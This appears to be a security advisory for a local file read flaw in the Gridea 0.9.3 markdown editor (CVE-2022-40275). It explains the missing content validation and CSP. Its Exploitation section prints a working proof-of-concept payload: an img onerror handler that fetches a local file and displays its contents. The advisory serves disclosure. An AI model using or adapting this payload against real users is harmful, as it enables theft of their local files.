Gridea 0.9.3 - Local File Read

Description

Gridea version 0.9.3 allows an external attacker to remotely obtain arbitrary local files on any client that attempts to view a malicious markdown file through Gridea. This is possible because the application does not have a CSP policy (or at least not strict enough) and/or does not properly validate the contents of markdown files before rendering them.

Vulnerability

This vulnerability occurs because the application does not have a CSP policy (or at least not strict enough) and/or does not properly validate the contents of markdown files before rendering them. Because of the above, an attacker can embed malicious JS code in a markdown file and send it to the victim to view and thus achieve an exfiltration of their local files.

Exploitation

To exploit this vulnerability, you must send the following file to a user to open with Gridea. The exploit is triggered when the user presses CTRL+P or simply clicks preview.

exploit.md

<img src="1" onerror='fetch("file:///etc/private").then(data => data.text()).then(leak => alert(leak));'/>

Our security policy

We have reserved the CVE-2022-40275 to refer to this issue from now on. Disclosure policy

System Information

• Version: Gridea 0.9.3

• Operating System: GNU/Linux

Mitigation

There is currently no patch available for this vulnerability.

References

• Vendor page https://github.com/getgridea/gridea